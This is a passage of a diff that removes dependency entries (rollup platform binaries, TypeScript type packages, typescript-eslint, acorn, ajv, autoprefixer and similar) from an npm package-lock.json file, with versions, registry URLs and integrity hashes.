"integrity": "sha512-89sepv7h2lIVPsFma8iwmccN7Yjjtgz0Rj/Ou6fEqg3HDhpCa+Et+YSufy27i6b0Wav69Qv4WBNl3Rs6pwhebQ==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.54.0.tgz", - "integrity": "sha512-ZcU77ieh0M2Q8Ur7D5X7KvK+UxbXeDHwiOt/CPSBTI1fBmeDMivW0dPkdqkT4rOgDjrDDBUed9x4EgraIKoR2A==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.54.0.tgz", - "integrity": "sha512-2AdWy5RdDF5+4YfG/YesGDDtbyJlC9LHmL6rZw6FurBJ5n4vFGupsOBGfwMRjBYH7qRQowT8D/U4LoSvVwOhSQ==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.61.1.tgz", - "integrity": "sha512-bVWIOIk6pV01p4CdUbPP7CJ/434z+OooYjDuFcR+44N35YvKUC66G8MGnvcWx5mWKW3g61J+t74l3Kj15Kwn2Q==", - "cpu": [ - "x64" - ], - "libc": [ - "glibc" - ], - "license": "MIT", - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.54.0.tgz", - "integrity": "sha512-JzQmb38ATzHjxlPHuTH6tE7ojnMKM2kYNzt44LO/jJi8BpceEC8QuXYA908n8r3CNuG/B3BV8VR3Hi1rYtmPiw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.54.0.tgz", - "integrity": "sha512-huT3fd0iC7jigGh7n3q/+lfPcXxBi+om/Rs3yiFxjvSxbSB6aohDFXbWvlspaqjeOh+hx7DDHS+5Es5qRkWkZg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.54.0.tgz", - "integrity": "sha512-c2V0W1bsKIKfbLMBu/WGBz6Yci8nJ/ZJdheE0EwB73N3MvHYKiKGs3mVilX4Gs70eGeDaMqEob25Tw2Gb9Nqyw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.54.0.tgz", - "integrity": "sha512-woEHgqQqDCkAzrDhvDipnSirm5vxUXtSKDYTVpZG3nUdW/VVB5VdCYA2iReSj/u3yCZzXID4kuKG7OynPnB3WQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.54.0.tgz", - "integrity": "sha512-dzAc53LOuFvHwbCEOS0rPbXp6SIhAf2txMP5p6mGyOXXw5mWY8NGGbPMPrs4P1WItkfApDathBj/NzMLUZ9rtQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.54.0.tgz", - "integrity": "sha512-hYT5d3YNdSh3mbCU1gwQyPgQd3T2ne0A3KG8KSBdav5TiBg6eInVmV+TeR5uHufiIgSFg0XsOWGW5/RhNcSvPg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@standard-schema/spec": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", - "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", - "license": "MIT" - }, - "node_modules/@standard-schema/utils": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz", - "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==", - "license": "MIT" - }, - "node_modules/@types/babel__core": { - "version": "7.20.5", - "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.20.7", - "@babel/types": "^7.20.7", - "@types/babel__generator": "*", - "@types/babel__template": "*", - "@types/babel__traverse": "*" - } - }, - "node_modules/@types/babel__generator": { - "version": "7.27.0", - "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.0.0" - } - }, - "node_modules/@types/babel__template": { - "version": "7.4.4", - "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.1.0", - "@babel/types": "^7.0.0" - } - }, - "node_modules/@types/babel__traverse": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.28.2" - } - }, - "node_modules/@types/d3-array": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", - "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==", - "license": "MIT" - }, - "node_modules/@types/d3-color": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", - "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", - "license": "MIT" - }, - "node_modules/@types/d3-ease": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", - "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", - "license": "MIT" - }, - "node_modules/@types/d3-interpolate": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", - "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", - "license": "MIT", - "dependencies": { - "@types/d3-color": "*" - } - }, - "node_modules/@types/d3-path": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", - "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", - "license": "MIT" - }, - "node_modules/@types/d3-scale": { - "version": "4.0.9", - "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", - "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", - "license": "MIT", - "dependencies": { - "@types/d3-time": "*" - } - }, - "node_modules/@types/d3-shape": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz", - "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==", - "license": "MIT", - "dependencies": { - "@types/d3-path": "*" - } - }, - "node_modules/@types/d3-time": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", - "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", - "license": "MIT" - }, - "node_modules/@types/d3-timer": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", - "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", - "license": "MIT" - }, - "node_modules/@types/estree": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/json-schema": { - "version": "7.0.15", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", - "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/node": { - "version": "24.10.4", - "resolved": "https://registry.npmjs.org/@types/node/-/node-24.10.4.tgz", - "integrity": "sha512-vnDVpYPMzs4wunl27jHrfmwojOGKya0xyM3sH+UE5iv5uPS6vX7UIoh6m+vQc5LGBq52HBKPIn/zcSZVzeDEZg==", - "dev": true, - "license": "MIT", - "dependencies": { - "undici-types": "~7.16.0" - } - }, - "node_modules/@types/react": { - "version": "19.2.7", - "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.7.tgz", - "integrity": "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "csstype": "^3.2.2" - } - }, - "node_modules/@types/react-dom": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", - "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", - "devOptional": true, - "license": "MIT", - "peerDependencies": { - "@types/react": "^19.2.0" - } - }, - "node_modules/@types/use-sync-external-store": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz", - "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==", - "license": "MIT" - }, - "node_modules/@typescript-eslint/eslint-plugin": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.50.0.tgz", - "integrity": "sha512-O7QnmOXYKVtPrfYzMolrCTfkezCJS9+ljLdKW/+DCvRsc3UAz+sbH6Xcsv7p30+0OwUbeWfUDAQE0vpabZ3QLg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/regexpp": "^4.10.0", - "@typescript-eslint/scope-manager": "8.50.0", - "@typescript-eslint/type-utils": "8.50.0", - "@typescript-eslint/utils": "8.50.0", - "@typescript-eslint/visitor-keys": "8.50.0", - "ignore": "^7.0.0", - "natural-compare": "^1.4.0", - "ts-api-utils": "^2.1.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "@typescript-eslint/parser": "^8.50.0", - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", - "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/@typescript-eslint/parser": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.50.0.tgz", - "integrity": "sha512-6/cmF2piao+f6wSxUsJLZjck7OQsYyRtcOZS02k7XINSNlz93v6emM8WutDQSXnroG2xwYlEVHJI+cPA7CPM3Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/scope-manager": "8.50.0", - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/typescript-estree": "8.50.0", - "@typescript-eslint/visitor-keys": "8.50.0", - "debug": "^4.3.4" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/project-service": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.50.0.tgz", - "integrity": "sha512-Cg/nQcL1BcoTijEWyx4mkVC56r8dj44bFDvBdygifuS20f3OZCHmFbjF34DPSi07kwlFvqfv/xOLnJ5DquxSGQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.50.0", - "@typescript-eslint/types": "^8.50.0", - "debug": "^4.3.4" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/scope-manager": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.50.0.tgz", - "integrity": "sha512-xCwfuCZjhIqy7+HKxBLrDVT5q/iq7XBVBXLn57RTIIpelLtEIZHXAF/Upa3+gaCpeV1NNS5Z9A+ID6jn50VD4A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/visitor-keys": "8.50.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.50.0.tgz", - "integrity": "sha512-vxd3G/ybKTSlm31MOA96gqvrRGv9RJ7LGtZCn2Vrc5htA0zCDvcMqUkifcjrWNNKXHUU3WCkYOzzVSFBd0wa2w==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/type-utils": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.50.0.tgz", - "integrity": "sha512-7OciHT2lKCewR0mFoBrvZJ4AXTMe/sYOe87289WAViOocEmDjjv8MvIOT2XESuKj9jp8u3SZYUSh89QA4S1kQw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/typescript-estree": "8.50.0", - "@typescript-eslint/utils": "8.50.0", - "debug": "^4.3.4", - "ts-api-utils": "^2.1.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/types": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.50.0.tgz", - "integrity": "sha512-iX1mgmGrXdANhhITbpp2QQM2fGehBse9LbTf0sidWK6yg/NE+uhV5dfU1g6EYPlcReYmkE9QLPq/2irKAmtS9w==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.50.0.tgz", - "integrity": "sha512-W7SVAGBR/IX7zm1t70Yujpbk+zdPq/u4soeFSknWFdXIFuWsBGBOUu/Tn/I6KHSKvSh91OiMuaSnYp3mtPt5IQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/project-service": "8.50.0", - "@typescript-eslint/tsconfig-utils": "8.50.0", - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/visitor-keys": "8.50.0", - "debug": "^4.3.4", - "minimatch": "^9.0.4", - "semver": "^7.6.0", - "tinyglobby": "^0.2.15", - "ts-api-utils": "^2.1.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", - "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.1" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { - "version": "7.7.3", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", - "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/@typescript-eslint/utils": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.50.0.tgz", - "integrity": "sha512-87KgUXET09CRjGCi2Ejxy3PULXna63/bMYv72tCAlDJC3Yqwln0HiFJ3VJMst2+mEtNtZu5oFvX4qJGjKsnAgg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.7.0", - "@typescript-eslint/scope-manager": "8.50.0", - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/typescript-estree": "8.50.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.50.0.tgz", - "integrity": "sha512-Xzmnb58+Db78gT/CCj/PVCvK+zxbnsw6F+O1oheYszJbBSdEjVhQi3C/Xttzxgi/GLmpvOggRs1RFpiJ8+c34Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.50.0", - "eslint-visitor-keys": "^4.2.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@vitejs/plugin-react": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.2.tgz", - "integrity": "sha512-EcA07pHJouywpzsoTUqNh5NwGayl2PPVEJKUSinGGSxFGYn+shYbqMGBg6FXDqgXum9Ou/ecb+411ssw8HImJQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.28.5", - "@babel/plugin-transform-react-jsx-self": "^7.27.1", - "@babel/plugin-transform-react-jsx-source": "^7.27.1", - "@rolldown/pluginutils": "1.0.0-beta.53", - "@types/babel__core": "^7.20.5", - "react-refresh": "^0.18.0" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "peerDependencies": { - "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" - } - }, - "node_modules/acorn": { - "version": "8.15.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", - "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", - "dev": true, - "license": "MIT", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-jsx": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" - } - }, - "node_modules/ajv": { - "version": "6.12.6", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", - "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/any-promise": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", - "license": "MIT" - }, - "node_modules/anymatch": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", - "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", - "license": "ISC", - "dependencies": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/anymatch/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/arg": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", - "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", - "license": "MIT" - }, - "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true, - "license": "Python-2.0" - }, - "node_modules/aria-hidden": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.6.tgz", - "integrity": "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==", - "license": "MIT", - "dependencies": { - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/autoprefixer": { - "version": "10.4.23", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.23.tgz", - "integrity": "sha512-YYTXSFulfwytnjAPlw8QHncHJmlvFKtczb8InXaAx9Q0LbfDnfEYDE55omerIJKihhmU61Ft+cAOSzQVaBUmeA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/autoprefixer" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "browserslist": "^4.28.1", - "caniuse-lite": "^1.0.30001760", - "fraction.js": "^5.3.4", - "picocolors": "^1.1.1", - "postcss-value-parser": "^4.2.0" - }, - "bin": { - "autoprefixer": "bin/autoprefixer" - }, - "engines": { - "node": "^10 || ^12 || >=14" - }, - "peerDependencies": { - "postcss": "^8.1.0" - } - }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/baseline-browser-mapping": { - "version": "2.9.11", - "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.11.tgz", - "integrity": 